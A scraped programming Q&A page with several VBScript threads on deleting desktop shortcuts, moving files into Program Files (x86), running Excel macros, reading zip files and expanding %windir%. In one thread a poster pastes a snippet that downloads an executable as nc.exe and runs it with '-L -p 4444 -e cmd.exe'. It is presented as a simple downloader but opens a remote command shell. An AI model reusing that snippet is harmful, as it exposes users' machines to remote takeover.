Script to remove shortcuts won't work with version numbers - vbscript

I'm running a vbscript to remove desktop shortcuts installed by another program, the problem I have though is one shortcut is being stubborn
set WshShell = WScript.CreateObject("WScript.Shell" )
strDesktop = WshShell.SpecialFolders("Desktop" )
' delete this shortcut
strShortcut = strDesktop & "\Shortcut Name 2.0.lnk"
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(strShortcut) Then fso.DeleteFile(strShortcut)
I have a feeling it's to do with the version number and decimal point in-between? Can anyone confirm my suspicion as I'm completely out of clues.
Thanks.

The file you want to delete probably doesn't already exist, If fso.FileExists(strShortcut) Then masks that fact.
A shortcut you see in your desktop doesn't have to be in your Desktop folder that you acquired with WshShell.SpecialFolders("Desktop").
There is another location where desktop items are stored as an extension to the all users' desktop directories, but may require administrative privileges to modify, I'm not sure, you need to try.
So, in addition to SpecialFolders("Desktop"), you should also consider the SpecialFolders("AllUsersDesktop") directory.
Set Fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
userDesktop = WshShell.SpecialFolders("Desktop")
publicDesktop = WshShell.SpecialFolders("AllUsersDesktop")
shortcutName = "Shortcut Name 2.0.lnk"
userShortcut = Fso.BuildPath(userDesktop, shortcutName)
publicShortcut = Fso.BuildPath(publicDesktop, shortcutName)
If Fso.FileExists(userShortcut) Then
Fso.DeleteFile userShortcut, True
MsgBox "User shortcut deleted."
End If
If Fso.FileExists(publicShortcut) Then
Fso.DeleteFile publicShortcut, True
MsgBox "Public shortcut deleted."
End If

Related

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

VBScript to run a file from desktop (any user)

I've created a VBScript to run a macro from excel without opening the file.
Set objExcel = CreateObject("Excel.Application")
objExcel.Application.Run "'C:\Users\MyUser\Desktop\RM.xlsm'!Module4.Email"
objExcel.DisplayAlerts = False
objExcel.Application.Quit
Set objExcel = Nothing
I want to use this VBScript & XLSM file on different computers, so how can i change this script to work without editing the path every time?
(Maybe a code to run from current folder or a code to run from any user desktop)
If the file will always be on the desktop of every user then you can use environment variables to determine the location.
Set wshShell = CreateObject( "WScript.Shell" )
userName = wshShell.ExpandEnvironmentStrings( "%UserName%" )
path = "'C:\Users\" + userName + "\Desktop\RM.xlsm'!Module4.Email"
Set objExcel = CreateObject("Excel.Application")
objExcel.Application.Run path
objExcel.DisplayAlerts = False
objExcel.Application.Quit
Set objExcel = Nothing
(Untested code)
If the file is not on each user's desktop then you'll need to store it in a common location on the network and have each user access it from there, e.g. in .
\\YourFileSever\SharedFiles\RM.xlsm
In practical terms the latter is preferable as it means the workbook is in only one place and when it comes to releasing a new version you only have to update one copy

Using VBScript to examine properties of files within a zip file

I'm trying to use VBScript to examine the contents of several hundred .zip files. Essentially what I want to do is run through each .zip and find all of the files wihtin that zip file. For each one of these files within the zip, I want to record some information about it to an Oracle database. That information being: file name and file modified date.
So far, my solution has been extracting each zips folder structure to a temp folder then running through the temp folder with an fso object. However, this has been proven to be very slow.
Is there a way to accoplish this without unziping the zip files?
Ouch man. I have never heard of vbscript zip object. But it has been a long time since I have done vbscript. Is there anyway you can avoid it?
I did some googling for you. I did find this: http://www.example-code.com/vbscript/zip_List.asp Chilkat has done a lot of stuff I thought not possible. This gives me the impression - that what you are trying to do is not going to be painless.
If given the problem you have I would find a different solution than vbscript. But if you pull-it-off I would vote for you to be mayor of vb land
You can do it in place with Shell Objects. But it will be just as slow, maybe. If just name and date Explorer may get it direct from the zip directory (at the end of the file so the whole file still needs to be read).
This copies items in a folder to another folder. A zip file is a folder so it will copy in and copy out.
To Zip
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set SrcFldr=objShell.NameSpace(Ag(1))
Set DestFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Unzip (note SrcFolder and DestFolder are reversed)
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set DestFldr=objShell.NameSpace(Ag(1))
Set SrcFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Create a blank zip. (I should have used an ADODB binary stream rather than an FSO text stream, but it shouldn't matter)
Set Ag=Wscript.Arguments
Set fso = CreateObject("Scripting.FileSystemObject")
Set ts = fso.OpenTextFile(Ag(0), 8, vbtrue)
BlankZip = "PK" & Chr(5) & Chr(6)
For x = 0 to 17
BlankZip = BlankZip & Chr(0)
Next
ts.Write BlankZip

Windows cannot find path specified when using windows install directory as variable in vbs

Windows cannot find the path specified when using the %windir% location as a variable. Also, does anyone know if 64 bit computers have system 3s folders? I know that the variable works because i have used it in a messagebox. Here is my code, please help if you can.
set shell = WScript.CreateObject("WScript.Shell")
windowsdir = shell.ExpandEnvironmentStrings("%windir%")
MsgBox(windowsdir)
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run("""windowsdir & \System32\dvdplay.exe""")
Set objShell = Nothing
Sorry, i am trying to use this same method to create a folder and now i am getting a "bad file name or number" error. Please help if you can.
dim filesys, newfolder, newfolderpath
Dim oShell : Set oShell = CreateObject("WScript.Shell")
Dim sWinDir : sWinDir = oShell.ExpandEnvironmentStrings("%windir%")
sCmd = """" & sWinDir & "\System32\test"""
WScript.Echo 3, sCmd, "'concatenation' solution"
newfolderpath = """"& sCmd& ""
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
When working with .Run or .Exec, you should use a temporary variable to store and display the command (at least until 'it works'):
Option Explicit
Dim oShell : Set oShell = CreateObject("WScript.Shell")
WScript.Echo 0, oShell.ExpandEnvironmentStrings("%windir%")
Dim sCmd
sCmd = """windowsdir & \System32\dvdplay.exe"""
WScript.Echo 1, sCmd, "no variable interpolation in VBScript"
sCmd = oShell.ExpandEnvironmentStrings("""%windir%\System32\dvdplay.exe""")
WScript.Echo 2, sCmd, "'no concatenation' solution"
Dim sWinDir : sWinDir = oShell.ExpandEnvironmentStrings("%windir%")
sCmd = """" & sWinDir & "\System32\dvdplay.exe"""
WScript.Echo 3, sCmd, "'concatenation' solution"
output:
cscript 19367777.vbs
0 C:\WINDOWS
1 "windowsdir & \System32\dvdplay.exe" no variable interpolation in VBScript
2 "C:\WINDOWS\System32\dvdplay.exe" 'no concatenation' solution
3 "C:\WINDOWS\System32\dvdplay.exe" 'concatenation' solution
As VBScript does not splice variable content into string literals, you'll have to concatenate the parts (second best solution, in my opinion) or apply .ExpandEnvironmentStrings() to the command containing %windir%.
On 32 bit windows you just have System32..
On 64 bit windows you have:
System32 (which contains 64 bit libraries)
SysWOW64 (which has 32 bit libraries that run in 'Windows on Windows 64' emulation layer)
I know, its confusing.
On either architecture, %WINDIR% should be the same. If you're only ever running your script on 64 bit systems, you might be able to get away with just changing System32 for SysWOW64.
What you may need to be careful of when running scripts on both 32 and 64, is: "Which scripting host is associated with .vbs files?" Generally if you just double click a VBS on 64 bit, the interpreter will be: C:\Windows\System32\WScript.exe (i.e. the 64 bit host) which means that, for example %PROGRAMFILES% expands to C:\Program Files. Expand the same variable in c:\Windows\SysWOW64\WScript.exe (32 bit) and you get C:\Program Files (x86)
For a long time I've had framework code that allows a script to 're-run itself' in the 32-bit host, just for cross compatibility.
I have noticed that sometimes when updating Visual Studio, or SQL Server, for example, that the Path gets a little too full, or perhaps the %systemroot% entry gets "pushed down" because of new entries.
If your system cannot find %windir%, then look at your system Path, and make sure the first few entries are thus:
%SystemRoot%;%SystemRoot%\system32; ...etc
And then make sure that the system variable windir is set to C:\Windows
You may have to reboot. This did the trick for me.

Error : ActiveX component can't create object: 'Word.Application' in Windows XP

Below code is running fine in Windows 7.I am getting the error "ActiveX component can't create object: 'Word.Application'" in Windows XP.
Microsoft Word is not installed in the XP, Is this the cause for the error?
I am new to vbscript.
What is the resolution for this?
Const msoFileDialogOpen = 1
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWord = CreateObject("Word.Application")
Set WshShell = CreateObject("WScript.Shell")
strInitialPath = WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Desktop\"
objWord.ChangeFileOpenDirectory(strInitialPath)
With objWord.FileDialog(msoFileDialogOpen)
.Title = "Select the file to process"
.AllowMultiSelect = False
.Filters.Clear
.Filters.Add "All Files", "*.*"
.Filters.Add "Excel Files", "*.xls;*.xlsx"
.Filters.Add "Text Files", "*.txt"
.Filters.Add "Various Files", "*.xls;*.doc;*.vbs"
If .Show = -1 Then 'short form
For Each File in .SelectedItems 'short form
Set objFile = fso.GetFile(File)
WScript.Echo objFile.Path
Next
Else
End If
End With
'Close Word
objWord.Quit
Yes, if MS Word is not installed in the computer no "Word.Application" can be created because it doesn't even exist in your system.
The easiest way to resolve this is installing MSWord in the computer. The hard way involves locating the activeX assemblies and its dependencies and register it in the computer manualy.
You can use http://www.nirsoft.net/utils/axhelper.html to check the list of ActiveX components instaled in a computer.
-- Can Openoffice resolve this instead of MS Word?
Ofcourse, check this link

Resources